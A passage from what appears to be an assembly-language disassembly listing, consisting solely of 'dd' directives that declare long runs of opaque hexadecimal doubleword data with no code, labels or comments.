0E7B1386Ch, 0FF860013h, 57ACAF59h dd 14382298h, 164F9EBAh, 41E0E2C0h, 0B08EED8Bh, 0C3D400ABh dd 0BD815D33h, 4CB8FADBh, 19F270F5h, 0A741FB00h, 0F620A6C8h dd 8A960E6Ch, 2D8049CDh, 3E618F71h, 117F4800h, 0E23B886Fh dd 0AD5400F7h, 4E891E9Ch, 29001B76h, 8F7844EAh, 769C92Fh dd 0CEE50421h, 3301F03Dh, 1A00ECE3h, 0B3FC6609h, 4CA22AD6h dd 400050Eh, 3312C394h, 6E00130Dh, 0FCED2D4Eh, 2E3786F8h dd 3F53931h, 16102E3Bh, 6605A0E0h, 303E0200h, 1374FFC4h dd 0A6DA00D5h, 167ABD6h, 7676776Dh, 41467500h, 50FB4CB6h dd 0F7440059h, 65D038EDh, 0C307E453h, 0AD512156h, 448534E0h dd 3E9A0129h dd 69E5BF50h, 0CC88DCFEh, 400D15Ch, 0DBDD670Fh, 2C8128C0h dd 443242Eh, 0B6050096h, 864F741Fh, 0F8BC9900h, 0F7CFAE97h dd 0E6BA1E81h, 420640DCh, 62B4B6B0h, 9FF3D005h, 4CC01865h dd 808A2Ah, 10E6A647h, 0F576DEDCh, 3042B001h, 8D8F6E1Eh dd 3DD76BFCh, 0AF8089E3h, 91EC6227h, 512CC802h, 85009CDEh dd 102AE09Ah, 785B0768h, 0F0D919B3h, 88309CE9h, 0E517DE03h dd 0E016AB36h, 16029966h, 0DAAE47h, 2F28CB46h, 6F065633h dd 0B91012C7h, 76AA04CEh, 0C7A3FE85h, 6CF18078h, 0EF1C3DD2h dd 0B5C0FB8Bh, 5092BDC3h, 388D01EBh, 0C2752A91h, 0B230978Ch dd 7B890100h, 980D81F1h, 0BDC44CFAh, 0E800216Fh, 0EB95DC88h dd 8E68030h, 0B04E1CECh, 2A400E4Ch, 3B0004D8h, 0A456E91Bh dd 599C2B02h, 0A061EB66h, 18B56324h, 81D6176Bh, 360400A5h dd 3167AEADh, 0F5316060h, 2E4BDEE3h, 1473EDh, 447F5F85h dd 8A00CA75h, 0EFD44D3Fh, 6B43EEh, 2F20DC8h, 0E8948C4Bh dd 4F7C0600h, 403085FEh, 5FA5007Bh, 3FD3C5D8h, 93005C7Fh dd 0B0F04AF6h, 2865956Ch, 0CCB9E0h, 30CCA81h, 9B268092h dd 550A1A01h, 0F8823727h, 764B6C8h, 12B33BF3h, 6EA0F0FBh dd 2707A968h, 979DA3FFh, 42A1C610h, 40C7380h, 859EE789h dd 1225C034h, 0F817F901h, 8200159Fh, 45E7BBABh, 1EE30071h dd 5E3A6D05h, 0C6E63EB7h, 0D9F0A30Bh, 9294A3D3h, 0E214E849h dd 0C8DE1EC0h, 784D40E9h, 9B875C74h, 28A64833h, 91C3B826h dd 49D00C9h, 134FBF77h, 601409Fh, 0A5445848h, 0A8413235h dd 2D6062F1h, 0DDAF012Ch, 398C2BE3h, 848806Bh, 0EF9AB5E9h dd 1DD4007Fh, 0E6282FE4h, 0A0986A27h, 0C6809100h, 15896FE3h dd 0BAAF00B2h, 0BF7C63EBh, 4C010267h, 14AB7593h, 0FEEC2DC4h dd 3838C24Bh, 0E8A169CDh, 0DC9AA4E9h, 0E403228Ah, 559F1817h dd 89A7B01Ch, 93010074h, 289C813Fh, 0CE18E92Ah, 0BA15D7Bh dd 97E3008Ah, 99E53252h, 0A00B121h, 3A930A1h, 0BB6E06h dd 0F43ED8Ah, 0F612EF08h, 6FC4D5A0h, 0E5802B50h, 807BD70Ch dd 76115069h, 4431005Dh, 0DBB2944Bh, 0B9009891h, 63CA163Ch dd 0A1E42Bh, 0C888CF6Ah, 0C01AFBBh, 44361F00h, 537B765Eh dd 47120F68h, 0DFE0833Fh, 1C6E7409h, 0D54DA800h, 68A33B25h dd 71150038h, 79774316h, 0AB05DB17h, 4CCF913Ch, 214B202Ch dd 2D9C9BC8h, 55AF8440h, 2387E7h, 7BBDF30Fh, 0BC0979E9h dd 0D0A64107h, 45931D6Fh, 6E680026h, 0B712B124h, 18003B33h dd 5399A4C4h, 1CCD6F82h, 5277DA68h, 88CC00DFh, 0D6AA844Fh dd 9EF27C03h, 0F3177531h, 47080007h, 5063141Bh, 80E27432h dd 0F6D5F500h, 0CC35B2D4h, 7F0930DCh, 0BABD2D28h, 74C6773Ch dd 2B38480Eh, 0E1D24062h, 0CF2ADCh, 1F6EF875h, 58238CCBh dd 0BB39F600h, 14F274BFh, 30C40042h, 864A3525h, 1800F423h dd 0CA57C50Fh, 0A19E810h, 0EEAEED3h, 1B28E080h, 8523E756h dd 618E41E5h, 0C917C484h, 807E6B00h, 6C2B19F3h, 0F4414CFh dd 8100F0C1h, 8A75256Eh, 0E575405Eh, 0B924D300h, 0FEA3D6ECh dd 5578D1h, 681778BDh, 29B68CAAh, 7E3CB700h, 0B472A73Dh dd 4400738h, 0F326F91Bh, 5AA82AB3h, 0B9291A6Dh, 0DD6120FCh dd 3C0C3F31h, 0C691A000h, 0F6F14180h, 0D08CA0BEh, 90D50F3Eh dd 0A48127ECh, 30A89E7Ah, 9818B044h, 2A18AA6Dh, 3CC7445h dd 0DEF1180Fh, 6800ECBCh, 0EB698367h, 9C199Dh, 9AFA43C8h dd 0CC3117FCh, 0C0A9DB00h, 0E6C2412Ah, 430F000Eh, 95705A8Ah dd 0A007A3FDh, 0F2F1F918h, 0E6474E6Fh, 70B32Ch, 97D5F730h dd 8E3F03EFh, 5B5FB900h, 48BF2039h, 11D200B4h, 0D0EE0B6h dd 0BB037D35h, 29C92682h, 0B7400CBDh, 0B8B0304Ah, 1A601F24h dd 0B30BA18h, 0DFC100D2h, 960AEFE7h, 420067C8h, 4F3CC20Fh dd 7EF1EE7Bh, 4E0900DCh, 0F9BF725Fh, 0E0E8E7CAh, 0FA007CEAh dd 71A5611Fh, 8A3E86h, 560AEC4Ch, 8FDB9142h, 5F9EA605h dd 24300B38h, 15314A44h, 1CBF926Ah, 98A27600h, 3CDFCFDBh dd 8818D955h, 0E0BAF968h, 461C4516h, 30EEAF2Bh, 90EAA984h dd 734B3660h, 92F3704h, 9970DCF1h, 5A8C5A56h, 477EACD6h dd 24606F18h, 0F660882Ah, 0DD105485h, 89B1EEAEh, 50FD0868h dd 0EE0DB836h, 0FA782B5Fh, 0C7698430h, 0B6315893h, 0DD6A12FCh dd 0DC2A076Eh, 4FD0ACAFh, 1529D13Ch, 0C23C0B0Fh, 908F3D91h dd 0C6585624h, 4817AFD8h, 82404F52h, 30D7AD49h, 1A1D9676h dd 34AB585Fh, 9262E984h, 69821660h, 0F14F420Ch, 0F0C3027h dd 385860F8h, 570C04B2h, 9CA81E20h, 82444E52h, 3390D421h dd 425DF097h, 80A265CFh, 612B189Eh, 0D686B857h, 48906718h dd 71F670B9h, 0F600D847h, 0AF41D92Ah, 8FE8FF96h, 7FB8F3E2h dd 4032D231h, 108FF120h, 0B88205F9h, 2E003EA5h, 528F3777h dd 29C29813h, 922E7EF2h, 0DE28C044h, 7135D487h, 0A0856C29h dd 217CA311h, 8A40B61Ch, 0D09C8999h, 1440D512h, 2FDC3CFDh dd 2EB0A016h, 0A715787Ch, 2B18498h, 56595857h, 41390036h dd 0DD6E52CFh, 0BD48A38Eh, 0F04A30D0h, 9016B3B8h, 258C2420h dd 75DA0940h, 81CF4804h, 21086FCCh, 67F2E8h, 64A2C10Ah dd 38137663h, 17B0CEB8h, 60CBEE50h, 3C4DB83Fh, 74B72437h dd 4C93A820h, 0B940FCE0h, 0A964A35Dh, 445D377Ah, 6CDC8CF9h dd 80C5616Dh, 22420C1Eh, 3611C0F8h, 0C254C9B3h, 63FF1628h dd 9C0D9460h, 7B6F4404h, 0D130DA6Bh, 554C36FAh, 0CE5850FDh dd 0E2585963h, 1870A57Ch, 7248B239h, 1F47FE8Fh, 0A9E389D6h dd 30D360D4h, 0AA60EE07h, 2D17F658h, 214AE47h, 552541B7h dd 2C43ED6Fh, 8BCC9FC3h, 0F2680FF4h, 28C6ACEBh, 76C43FB6h dd 73B0AF0Eh, 0CCE5495h, 315A26C6h, 66925614h, 0AB20A068h dd 0E2521415h, 6012ACCCh, 0ADA014C8h, 69899843h, 5D1EE503h dd 2165809h, 0E6F002B2h, 40B48362h, 24101460h, 97A03863h dd 5C311F8Fh, 0A53640B5h, 30E6A707h, 2EFF0F45h, 0CD144378h dd 0B09841CFh, 2639A121h, 801426C2h, 4F44743Bh, 2FE8AB33h dd 0A1C994Ch, 1C2048EFh, 0E197340h, 308128EAh, 0E0D760C8h dd 45416AEFh, 0EB603891h, 62447E17h, 796308Bh, 5968D58Ah dd 70C4E939h, 0CCA133D2h, 13104CECh, 67439505h, 0C40C3745h dd 7A61491Eh, 9EF4A546h, 0B06E0671h, 761C302Eh, 0A4694565h dd 18334467h, 16A13E77h, 61CEB5A1h, 38933281h, 0CA36508Eh dd 9F584188h, 7B6104Bh, 14D60583h, 30DB41FDh, 0D32B990Fh dd 0BCA28129h, 0C082191Ah, 0AC82A72Dh, 0CC87A6CBh, 820948D2h dd 0B06C06B8h, 0FD6F1910h, 0A4A960DDh, 0C3CF529h, 0A0B4EE2Fh dd 82065A2h, 0EFF00391h, 0FA00989h, 3090E908h, 41263E1Fh dd 0A7F93C19h, 851038BCh, 106C1323h, 9AF54006h, 53F21938h dd 0D00D9042h, 749001AFh, 73CCF7Dh, 2A61844h, 0C6A37E88h dd 58363EB0h, 283B5C32h, 4F4C6068h, 0F014B078h, 1698980Bh dd 51E226Fh, 81709020h, 30AC36D4h, 0E098AAA4h, 94F2F31h dd 0B470A26Dh, 8235CE8h, 3FBCB626h, 7B014ACh, 438AF1B8h dd 611650F8h, 0C0CDA5Bh, 0E298202Ch, 26BCB05Ah, 0B4F9F8h dd 4FDA0EB4h, 18C1698Eh, 0AEE0B6DCh, 6880BFF5h, 586167C1h dd 6005FBD0h, 0E0B09E78h, 0C0F57383h, 986BB298h, 293365E0h dd 0AFD00411h, 4F50800Eh, 0A8A0BE85h, 18C413E3h, 0F0835C62h dd 6F207C5Bh, 2A8808F5h dd 1A64CF05h, 2126E00Bh, 44F656F8h, 0BDC0F872h, 0E5429ED4h dd 96189890h, 0B450393Ch, 9D56803Eh, 40D0F0C9h, 0C5482100h dd 599D4A8h, 0F2D8ACh, 430AF8D4h, 8050F4EFh, 0BF7C4EF0h dd 8906BF0h, 0D0DE6898h, 78BCBE39h, 185DF82Ch, 91C8B70h dd 3A4A76D5h, 0FC19E007h, 9C6C888h, 1248D99Eh, 2C425FC9h dd 810C1CD8h, 0D0E3F847h, 303D4856h, 0C677EF05h, 1D387041h dd 4C247CC8h, 0E798F039h, 9034CF28h, 168F3078h, 0E4A02FB8h dd 9C318C98h, 0B4FFC01Bh, 88D21894h, 1F33AE17h, 6370B68h dd 0C121D085h, 64CCCE1Ch, 88C5BCF4h, 0CD37ECFh, 0FC8183Ah dd 9A2F1861h, 0AB1F08DEh, 1CA65873h, 3404F20h, 762CF44h dd 10180820h, 19BCF22Fh, 1A303581h, 2E8F6020h, 1254CD54h dd 0E8804322h, 72C13F1Dh, 18647051h, 340C8094h, 909D0813h dd 0CAD81238h, 748038Fh, 1BE1405Ch, 0F28EE18Dh, 0DE0E6840h dd 6BD05063h, 3B182EBAh, 2ABC8A5Ch, 10BE18A8h, 2D3E8C6Fh dd 0C81B3043h, 0A031FD4Fh, 0B0EC97A4h, 0E2BA3240h, 48C34DF8h dd 8CAAB4E1h, 894C6C8h, 90C150E6h, 6FC4A04Ch, 0F8CA5060h dd 18D86620h, 0AF2020E2h, 380F14F4h, 501980ECh, 347720DEh dd 39C44E94h, 30C16AC4h, 388CFF5Fh, 5B18C351h, 185C8948h dd 92885E69h, 0A3C4A165h, 7D6F7C60h, 0DFD8A01Ch, 32649091h dd 0E2A009DDh, 4A2E7C68h, 718F450Bh, 1A1C0540h, 902CC813h dd 0EA28092Eh, 300143C3h, 0D80BCA16h, 20989E4Fh, 64896E01h dd 72367861h, 808CC442h, 0CDE02EB8h, 67D89141h, 0C938326h dd 0A8E8A0C4h, 83885C64h, 80090084h, 58C1CE8h, 28406644h dd 1DD49233h, 276FEF01h, 4150A852h, 0A0529940h, 1FC88F60h dd 1B10C299h, 34FC020h, 0AF472FF1h, 302CDAA5h, 58BB883Eh dd 0FF2474F4h, 0BF70EC63h, 9F8612DDh, 0F6CC05D8h, 8F18800Eh dd 249022F3h, 8205932h, 0E88848F5h, 26389040h, 0A90FA24h dd 5F428E0h, 7744AF64h, 17D42370h, 0B48242FAh, 38685E96h dd 8C523CDh, 95251Ch, 40CAC8C2h, 61F7CF1Ch, 820E20C0h dd 30D0FDDBh, 4068EDCh, 3A2FDA0Bh, 8210231h, 5CACF45h dd 9253F5C0h, 1E90DB4Ch, 1B136160h, 3871884Ch, 137833EFh dd 0E80C3958h, 0F0B0282Fh, 327C92C0h, 0CD102E5Fh, 591CA08Ah dd 0DC51606Ch, 3084474Dh, 4ACF4830h, 2FDB12BCh, 40C053A8h dd 5DCA6E34h, 133AEEDDh, 60327849h, 58742886h, 0A8FB6300h dd 9244138h, 2997D4F5h, 3BEFD403h, 15902437h, 58D82C50h dd 8D13D39Eh, 8487F53Fh, 16480BABh, 137B06D4h, 28E1BAF3h dd 50D9763Bh, 0D0B00784h, 0E0064F24h, 0BC026F0Ah, 1639CF04h dd 588748D4h, 60C00D84h, 1665F16Fh, 185B861h, 68E578B8h dd 4944B42h, 6103BE29h, 7316E0D0h, 5058B09Ch, 25AF9006h dd 0A4967454h, 0E9B8C804h, 0A491D45Ch, 9C30CE94h, 4C149A23h dd 4F1F38C8h, 0CECE44Dh, 8080657h, 5FE8CC50h, 13083B66h dd 0B0AF7B10h, 1B8F0390h, 26EEE0BEh, 0FA31787Ch, 880E8815h dd 5049CFE0h, 0B0C8D8B4h, 3B2F1918h, 701E7810h, 55C2E00h dd 34181328h, 318234C3h, 0EE080219h, 2FF42039h, 449F4324h dd 0EF284E18h, 3F1F0927h, 0E883326Fh, 916D238h, 480BAE77h dd 0A96CAF5Ah, 1CF08445h, 0C02F5492h, 92ED6F08h, 0D1C83208h dd 40C1A2F8h, 2073F98Fh, 0D8A09BF0h, 9498620Fh, 10B869F8h dd 74C888D4h, 10DCE34Dh, 8110EC29h, 204922C6h, 0F920C5D7h dd 0C32520C8h, 70813574h, 84AF7084h, 0D2D8C2EEh, 2E4F4060h dd 0BF7093E7h, 0C2FE40Eh, 987D9046h, 0B4CF2E60h, 0E4E8C34h dd 0A630F88h, 36522BC8h, 0D0082638h, 0CA981662h, 0CF910213h dd 605B7B02h, 90784D64h, 708B61C4h, 0D479C72Fh, 0F5502D8Fh dd 1E63AC88h, 315A3D10h, 0CF680130h, 0E02461C9h, 28CB2574h dd 0EF0C0420h, 807E9CC8h, 0ED50736Fh, 0AE5C11A8h, 90967DC4h dd 85B1A018h, 5448481Ch, 0BD4FC1B7h, 0D670249Eh, 0DC120516h dd 7F660C2Ch, 0D578205Eh, 48ABF624h, 0A5110F0Bh, 0C402C91Ch dd 0E122BCAFh, 1C202C60h, 6139248Fh, 1C281314h, 40E28A74h dd 913A0C9Ch, 0E94C3CD8h, 0C9878ECh, 1A80C0A5h, 0A8F5F392h dd 4ABC9831h, 36C0DB1h, 0C7D42280h, 9A11F9D5h, 6C30DEEAh dd 13A0BAD0h, 2C407831h, 0B004F43Ch, 32BB553Ch, 28A6530Bh dd 4C98D08Ch, 0AFEFE0CBh, 0A6149C90h, 0EC2318B0h, 90368AF0h dd 887E5434h, 20109A8Ch, 0A33C13E3h, 0BDD809F2h, 19140372h dd 0FD6024FCh, 0AD2E3C78h, 30AF0908h, 0A046428h, 17A4A80Fh dd 0DF5446BFh, 872490C7h, 330C60EBh, 65CD0855h, 0D36818CAh dd 280C183Ch, 40928E4Fh, 1918D329h, 286721BCh, 0C07F3770h dd 7887C6C4h, 0DCC744Fh, 904A586Fh, 0D4405DCDh, 18430E6Ah dd 88B7B92Fh, 0F8A0800Bh, 0A8CAB5E9h, 0F06E009h, 0E878CD72h dd 0C02CB9BAh, 0A31C0B36h, 76E41D50h, 2F0470F1h, 8FF9E30h dd 0B1DB811Eh, 0AA0A60ECh, 0DD50293Dh, 2A4A16E8h, 77C26404h dd 9EB60C0h, 8FECA13Fh, 43B0C028h, 3B4981B6h, 4361620h dd 5360104Eh, 0F8BF7C07h, 5CB2D864h, 5DA3C79Dh, 8C02A91Bh dd 0C583BD0h, 0EE488898h, 3B8AA024h, 1A1130A2h, 0D49CF630h dd 743984A0h, 0BD3D6CA5h, 63609640h, 0B696C00Fh, 38E70C4Ch dd 18AB5CCFh, 9D770F0Bh, 3B9644C5h, 0A1F70A0Bh, 0D906B6D4h dd 0D839863h, 29BE1745h, 0D2655671h, 1C808C68h, 0B4C4986Fh dd 0B00F5840h, 85E2440Ah, 4F0AD8D2h, 9370EC23h, 4440E980h dd 0B9197116h, 39A3C0A0h, 5A60F213h, 9480BDF0h, 66C41F78h dd 75640043h, 50F996FCh, 16F3D800h, 5D4188CFh, 7BA307D5h dd 4AB4A944h, 2AEEE018h, 73009B5Fh, 0D57D4184h, 15651706h dd 141092B4h, 11712E00h, 41816B40h, 247F1D29h, 0FD1868A8h dd 3D209E7Eh, 7BBA020Ch, 11D9E7E4h, 97D14A0h, 684035FDh dd 0D92D01DDh, 3DAE2514h, 545DD017h, 5A247C14h, 626FC130h dd 0E2B9D3h, 121E97FDh, 91AB4403h, 1F5FC413h, 7CD18540h dd 8D78418h, 57C0244h, 64B74500h, 9A37E479h, 0DD241878h dd 0D63F10DFh, 0F0CFF8F9h, 0F23C5CF1h, 7D348108h, 0CD9D0677h dd 0F3336808h, 18F5B03Fh, 50D3E211h, 0A4E8BF32h, 7B3C9D1Dh dd 0D4A5270Ah, 0C40D283Bh, 80C14971h, 47C58AEh, 2750A44Ah dd 0AF4A37Bh, 0DD07BD70h, 0C8841990h, 5A84AE5h, 3B6A6171h dd 7B5DCC43h, 0ADF02802h, 0F8C55688h, 0A490A500h, 39A6C481h dd 3AEB5103h, 0A0C73B67h, 0F77ED3h, 0D6F9C85Ah, 74934E90h dd 56629E00h, 50AF1AEBh, 317A01C4h, 895AC5D1h, 26184847h dd 986D0508h, 9DFA0069h, 0C35AD80Ah, 0BAF8C606h, 0EE404AF1h dd 5BF7C5Eh, 1A80D347h, 403C3325h, 0C48F24B9h, 0DA00EB54h dd 9AD91125h, 0C473A7h, 0BE401EBAh, 0BF74367Ah, 0F4571A05h dd 5484DA80h, 0FAE82421h, 0C1E7FDE8h, 104CBAE8h, 4CDFE9D9h dd 3D00535Ch, 40CCA766h, 654A9AEAh, 30D77067h, 65E01A4Ch dd 1F988B20h, 15FE3E7Ah, 3A8714BAh, 58297261h, 1F92848Fh dd 81502B8Bh, 0D909379Eh, 0C487EAC4h, 0AC940FFEh, 0BEBD93B0h dd 0C8968331h, 28A3311Ah, 3B848164h, 5072AFE4h, 0DB359EC0h dd 0A0650AEh, 0D2DDFB69h, 74DA3050h, 0FFD73AF0h, 1FFED0D7h dd 0F8221499h, 279B3A78h, 0A144FA07h, 0B8AE41BFh, 50405CBEh dd 6CED180Ah, 0BA02909Ch, 0B9D9E921h, 4F47F68h, 9AA04016h dd 3ACC5550h, 7A689760h dd 0AEF7B958h, 9AA81C30h, 0E0405889h, 1366C37Ah, 8E98F260h dd 2E150574h, 42415288h, 0C47ACFC4h, 84BD3845h, 0DDD50B8Ah dd 93178890h, 428AED8h, 9AD5E4EAh, 81A0106h, 0A6E1F7BAh dd 745C0FD9h, 40580ECCh, 0E7E01579h, 0BF73B0FAh, 9BBDDA1Dh dd 4281182Bh, 0A37EC5FAh, 53DAE7FCh, 7603103Dh, 7306B496h dd 74BA8014h, 695A1BD8h, 71E0C088h, 6F9A1DBFh, 58382494h dd 9D39AB40h, 9A60E1E1h, 0D04EEE42h, 23DB3306h, 7A2429DFh dd 0F0300860h, 48BAD9FEh, 3A0AE48Eh, 7D8247Eh, 0C7BE3B68h dd 0F841A25h, 3A032AE5h, 2CE5BC8Fh, 3D0D03A4h, 60ADE9B9h dd 3080FBF1h, 0F27C57Ah, 80E044BAh, 35DFA01h, 0F08E1A83h dd 0D1427AE0h, 29C05810h, 5B4805Fh, 9E3AB4A0h, 0F5AA0C1h dd 2422BF5Ch, 230396CEh, 30121099h, 705CC91Ah, 3F9CAFD4h dd 7A2974C8h, 0CD825C26h, 0A14659F2h, 2791FA8Ch, 5D802823h dd 0ADCF81CAh, 0D583E4A7h, 0EA9EDB8h, 42C7BA81h, 0C0C05455h dd 0AAAF5F32h, 0CA3DD8A8h, 0B6BA8007h, 0A8850CFFh, 463A8802h dd 5749497h, 3C2CC272h, 0F4E442A2h, 0A096BE23h, 74D7A204h dd 11F0B9Dh, 7A0F28B4h, 3AD030CEh, 83024702h, 9C9B4CDAh dd 0D2553B8Ch, 3AF1C372h, 0CBAC49E8h, 6E941CA0h, 0CE759945h dd 817BC09h, 3B58A088h, 0B4C10A71h, 5B4D2AFh, 7080EECBh dd 5062205Ch, 50765433h, 8E28F6DAh, 74E60E3Ch, 4304F24h dd 0BEB405BAh, 421E292Ch, 28F11507h, 82CE399Ah, 0E2F344B8h dd 0C0183359h, 0C4F53EE8h, 84467A81h, 8108184h, 3944B82h dd 0F8756BF6h, 4C307C07h, 0BC4CA46Ch, 6FCECFB0h, 3A59F862h dd 0FC186BA6h, 9E69A891h, 60B1F841h, 1405C84Eh, 90F6884Eh dd 0B9271A40h, 6CDABE12h, 0C7382511h, 0DF47DDC1h, 0FA44023Bh dd 914960Eh, 376F9738h, 47DAA8A3h, 3C4580DAh, 8D9D6F81h dd 0BC648EFFh, 2772000Eh, 6E1340C0h, 760044E1h, 3DA8160Ch dd 74EC5B43h, 1E217BD8h, 0A94027FEh, 0DF458114h, 3D4858h dd 21F72101h, 1B402027h, 4102DA9Dh, 131CF0D3h, 54C02601h dd 0DC6027F2h, 4470C5CBh, 205C5D71h, 0C110BC3Ah, 0BB58F4BDh dd 0F1B83063h, 0C94B400Ah, 94821C6Fh, 20543738h, 2B80A3A1h dd 0C8524CE4h, 8B500014h, 60E252DBh, 10813D7Fh, 0CE202607h dd 3E0428Fh, 0E6831898h, 0C0A9753Eh, 0C8D72961h, 0A98EC0A0h dd 1B03825Eh, 26417F5Fh, 2E503028h, 1F63C008h, 19EFC0F5h dd 876F70C7h, 9AE164CAh, 8BE81297h, 75CEB058h, 5E28C691h dd 2C634088h, 1FADA0B0h, 58E7609h, 2819E880h, 87155960h dd 0CC498D7h, 80D49101h, 98D163B4h, 2CC5823Fh, 0F1A0E7F4h dd 0E0A9D066h, 20C0406Dh, 211E7DD2h, 18299EADh, 31CEE00h dd 0A093A52h, 0CF8417F9h, 9E51894h, 2B5178A4h, 6C040C08h dd 1492E10Ah, 0E9F60C11h, 3100305Bh, 0CAEC965h, 513AD46h dd 0C5078DEFh, 6BD122BCh, 198247C7h, 0BF8B7201h, 10CB8802h dd 18A02395h, 2184C610h, 791570FDh, 42F1380Ch, 38038408h dd 2A3C7995h, 6D210C40h, 0D1E31F20h, 21751079h, 7DE8E28Eh dd 1448A995h, 4182915h, 8133725Dh, 23E1D404h, 0C05FDD1h dd 181D2527h, 53F61970h, 949F0541h, 1BF7A97h, 0A0DB0EE5h dd 0E5642413h, 3C91D900h, 0A6291B97h, 0B2801E22h, 0B8287Fh dd 7748DB13h, 73899D30h, 55839100h, 0EEE5C16Dh, 47E705F0h dd 0E33E9Ch, 911A6AC8h, 0BC00ADD5h, 36AAC83Ch, 45DAFAh dd 0D7B143A5h, 6CF4DCE6h, 2007CA76h, 8ED1F8B2h, 0D948C14Eh dd 79F88926h, 0DE8A0092h, 5F6BA865h, 5115D706h, 34C8188h dd 8476DE9Ah, 59E0C095h, 86E50EBAh, 0ADAA63CAh, 5B93809Ch dd 6EDF1AA7h, 59327000h, 969AA625h, 0C0210355h, 0BA60EA8Ah dd 3F31D0F0h, 17012C90h, 0D90B0946h, 1C5C7FAAh, 0C0C143D3h dd 0FCB41694h, 9D100A4h, 0A88B2C72h, 30A7A9Bh, 0C0E5502Bh dd 1020D7F9h, 0BD2E1FA6h, 0D1A3C09Fh, 44233F6Bh, 738D29C0h dd 3C77EB8h, 3E344CB0h, 6CA0D86Bh, 63003853h, 0E5C4B4D9h dd 0A460DAA2h, 9CB0005Ch, 31EDDC0Fh, 901E4D46h, 88075805h dd 0D7611C5Fh, 30D43661h, 0A0A87EF5h, 267C54ACh, 28C188Eh dd 0CEBEC031h, 38A3C040h, 519B7512h, 20DC300Eh, 1C76BF48h dd 0F2401863h, 0C96729ABh, 5D204FE6h, 0D65702FBh, 2434E81Fh dd 5608589Dh, 2714D64Eh, 0A04C4FB5h, 4CC9D6A9h, 0EC00E86Ch dd 0BCBAD773h, 0CE04215h, 0C74FB4A0h, 0F90BEA04h, 38817A59h dd 40345352h, 48311D7Fh, 0A6640FB9h, 0BEF43118h, 2A55B600h dd 521F9F50h, 53B201FFh, 6771B459h, 87426C7h, 5E8A6AFDh dd 1276BC1Eh, 3856A700h, 78ABBF23h, 0D30619E7h, 0F56580C6h dd 0E5CC206Eh, 30B66A40h, 0B44095EBh, 940665ECh, 0C3E3599Fh dd 0E0A60030h, 6341D89h, 0DEE6A36Ah, 407BACA5h, 1CDAFA98h dd 4DBE5A6h, 8AB8B353h, 0B5BE0E94h, 91ACC032h, 0EDE667h dd 0C98C44A3h, 589F7FF1h, 9D002DE4h, 8713C8EFh, 60B5EC57h dd 7B446827h, 4500C9EDh, 92F499FEh, 6F93E9Fh, 8E1F2818h dd 8DD9A0Eh, 0DF9AE540h, 38D435h, 7AAA770h, 8D2BE17Ch dd 0E779BC05h, 69FCF1B5h, 0CD184F01h, 0ECE10394h, 951ECC53h dd 0DBC07C74h, 0F887223h, 0BF1100C5h, 5E935D59h, 18E04B17h dd 230EE479h, 4C0F16D3h, 7BCC3031h, 8F963374h, 4F88C88h dd 3D000583h, 7AB1E665h, 7AD2B621h, 7E4F1497h, 20808490h dd 118D30B8h, 0EA007578h, 0FC9B81C0h, 52097Bh, 1CCE4272h dd 19E1065Ch, 0D3449900h, 0B9129397h, 2390064h, 0D32620Eh dd 8C3EFE83h, 81E981E8h, 805FEA21h, 90E3E6CDh, 35ECE47h dd 0BC949945h, 0C0CF194Ch, 0BEE51C8Ah, 0E207EAF8h, 3C3E80B9h dd 0FD971890h, 4DA20054h, 15D02A1Ch, 8F073AC4h, 0B14E482Fh dd 8B4F1E40h, 39877E2h, 330378D2h, 0E9E836D0h, 1207F405h dd 9A068144h, 0B64143B0h, 0ACB4009Ch, 1A8E9210h, 7A01C218h dd 0CE466665h, 0EBD0F7FEh, 0C4C60006h, 0B259D66Bh, 6703C8D2h dd 8F4B5217h, 0E02CB0AFh, 0FDAD07B7h, 405318EDh, 0CB7A6982h dd 3485900h, 5EADA4Ah, 0BE3000E8h, 0B9E014AFh, 0B10F858Dh dd 0E17E04DCh, 5A13B3FCh, 779D25E4h, 72FAE3h, 0CAE8638Ch dd 928BC009h, 6A80A00h, 7A4E1078h, 0A9AF1CA0h, 0CC1E5D96h dd 4630B95Dh, 6F0A7619h, 0B2401270h, 75FDEF0h, 7B183BEBh dd 8089650Bh, 0B6338186h, 0D0DAAC05h, 8028678Fh, 750A40F0h dd 5BC144A5h, 78BA040Bh, 761B086h, 256E0F7h, 74B91CC4h dd 5BEE906Ah, 0C9C0A406h, 9207E9Ch, 0CEA85C91h, 2111D18Dh dd 2C5DC4E3h, 0FC0611C5h, 1154CF0Dh, 0A8EFC4ECh, 10BD3710h dd 18324AF0h, 3D79BB04h, 8D380373h, 67DBFDD2h, 7ABF0AF8h dd 0A70946FCh, 2A97D168h, 35863040h, 0D00A6Bh, 65A176EDh dd 859C6980h, 0D8CABC33h, 0F89E39E6h, 9C420514h, 4AB6A502h dd 0C0A0F3AFh, 0EA522DA0h, 75D7600h, 343573D3h, 9F190489h dd 88E26385h, 0ACA0E400h, 0C9C36B48h, 3D59D28Ah, 0BC817E40h dd 4C285BF9h, 151AD852h, 0E45E322Ah, 0FED2F000h, 62A4C677h dd 0A182A013h, 0B89F01DFh, 0CA9C9A92h, 0CE4AF0F1h, 51CC3C00h dd 0F4C5620Ah, 0F83EF049h, 73F095h, 0F6C31EC4h, 81016F79h dd 0BF084568h, 0C5A5830h, 193E0D0h, 0C4EEFBA6h, 0EF61C544h dd 3F912100h, 0F314E54h, 28F32D95h, 5E3A87F0h, 5813800Bh dd 46B264A2h, 0DF0600C9h dd 7C3D4CF2h, 7F79E551h, 0C79C2801h, 0ED415F9h, 3F5F7D0h dd 1F1380A4h, 0C0005982h, 9F3CC295h, 74BE1B1h, 97DC0A9Ah dd 0C9A4468Ch, 0A1248300h, 1D2A3B50h, 34B303FDh, 17028F75h dd 84B0C79Bh, 61610ED9h, 3DDDA51h, 0FA528040h, 6DB60098h dd 2420E2C7h, 30002BA2h, 46BC7C67h, 603D51D1h, 0FDF33856h dd 0D703187Bh, 0F6421F62h, 88AEABBEh, 70373A4Bh, 0F7C10099h dd 40517B1Eh, 0CB347447h, 0AE6802h, 6D384E1Fh, 0D70EDD50h dd 868DE008h, 9820D184h, 4D1C00D0h, 6DB18280h, 98F858B8h dd 341889E0h, 0E37803B5h, 30E56056h, 5083354Ah, 0A35BB101h dd 97F9E137h, 0FFB008B9h, 50B95520h, 1571CA01h, 3E708B26h dd 0C78080D6h, 0C175B0F2h, 0F41101A8h, 7F9040BDh, 1701B713h dd 5763AA8Eh, 6560DA7Ah, 0A97C0E9Ch, 0E0A0EC83h, 50F9A52Ch dd 0F5C49B0Fh, 490EE10Dh, 58E57069h, 9E29EDFCh, 0A1610058h dd 6E54D404h, 5BAEC00h, 0B95F216Fh, 0B24107F5h, 159F473h dd 0D4E60CFFh, 